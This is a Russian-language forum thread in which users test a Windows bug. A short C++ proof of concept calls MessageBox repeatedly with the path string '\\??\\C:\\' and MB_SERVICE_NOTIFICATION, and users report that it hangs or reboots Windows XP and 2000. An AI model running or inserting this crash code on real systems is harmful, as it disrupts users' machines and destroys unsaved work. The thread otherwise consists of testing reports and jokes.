Только что проверял: на самой последней аглицкой ХР (регулярно из инета обновляется) работает. Причём работает жёстко!
Где-то на 4-м MessageBox'е винда перегружается.
Ждём эксплоитов
P.S. Пробовал С++ вариант, компиллировал MinGW.
#include <Windows.h>
using namespace std;
void crush_windows()
{
char bug [] = "\\??\\C:\\";
for(int i = 0; i < 10; i ++)
{
::MessageBox(0, bug, bug, MB_SERVICE_NOTIFICATION);
}
}
int main(int argc, char *argv[])
{
crush_windows();
return EXIT_SUCCESS;
}
Эх, люблю выпить и переспать с кем нибудь!
Но чаще выходит перепить с кем — нибудь и выспаться...
Здравствуйте, Димчанский, Вы писали:
Д>После 2-4 итерации Windows начинает, как правило, загибаться. Д>На Vista может кто-то проверить?
Сейчас попробовал на Win2000 + SP4. Программа подвисает, при этом Task Manager в списке процессов ее не показывает. Созданная при запуске консоль не закрывается никак. Однако, остальные приложения работают.
Здравствуйте, garant, Вы писали:
G>Здравствуй, Ubivetz.
U>> Где-то на 4-м MessageBox'е винда перегружается.
G>Под дельфями все работает нормально. В смысле что баг не проявился.
Это скорее всего потому, что Делфи вызывают юникод версию MessageBoxW.
Либо они вообще свой messagebox пользуют, а не системный. Код можешь показать?
Здравствуйте, Privalov, Вы писали:
P>Однако, веселый юмор...
Поторопился, однако, с выводами. До BSOD не дошло, однако перестали запускаться приложения, перестал работать TaskBar, сейчас комп застрял при попытке нормального рестарта. Главное, кнопки RESET на нем нет.
Здравствуйте, Privalov, Вы писали:
P>Поторопился, однако, с выводами. До BSOD не дошло, однако перестали запускаться приложения, перестал работать TaskBar, сейчас комп застрял при попытке нормального рестарта. Главное, кнопки RESET на нем нет.
Здравствуйте, Privalov, Вы писали:
P>Да, мне говорили. Если ничего не изменится, подумаю над этим вариантом. Но это ж возня: пока разберешся с ними...
Тут главное, что у тебя лучше получается: тянуть или толкать.
Если тянуть, то упираешься ногами в стол, руками за кабель хватаешься (в месте с изоляцией) и тянешь на себя. Главное не схватить кабель питания от соседнего компа коллеги или от принтера..
Если толкать, то нужно попросить коллегу сделать упор ногой, упираешься и наваливаешься всем телом на кнопку питания примерно в течении 5 секунд. Если не поможет, можно навалиться пальцем.
Здравствуйте, Димчанский, Вы писали:
Д>...Главное не схватить кабель питания от соседнего компа коллеги или от принтера..
Вот именно. А у нас этих кабелей... эээ... много. Вероятность ошибиться достаточно велика. Ибо придется ползать под столом, взбивая пыль и уменшая тем самым и без того небольшое количество света, туда проникающее.
Д>Если толкать, то нужно попросить коллегу сделать упор ногой, упираешься и наваливаешься всем телом на кнопку питания примерно в течении 5 секунд. Если не поможет, можно навалиться пальцем.
Не, надо что-то другое... Коллега может не выдержать, ибо — хрупкая женщина. Надо какой-то способ, чтобы управиться без посторонней помощи.
Здравствуйте, Димчанский, Вы писали:
Скорее всего ошибка из за того что указатель на строку сьезжает,и скорее всего в запрещенную область.
Интересно на каком кольце этот месадж бокс выполняется?
Здравствуйте, Privalov, Вы писали:
P>Не, надо что-то другое... Коллега может не выдержать, ибо — хрупкая женщина. Надо какой-то способ, чтобы управиться без посторонней помощи.
Здравствуй, \.
Д> Это скорее всего потому, что Делфи вызывают юникод версию MessageBoxW. Д> Либо они вообще свой messagebox пользуют, а не системный. Код можешь показать?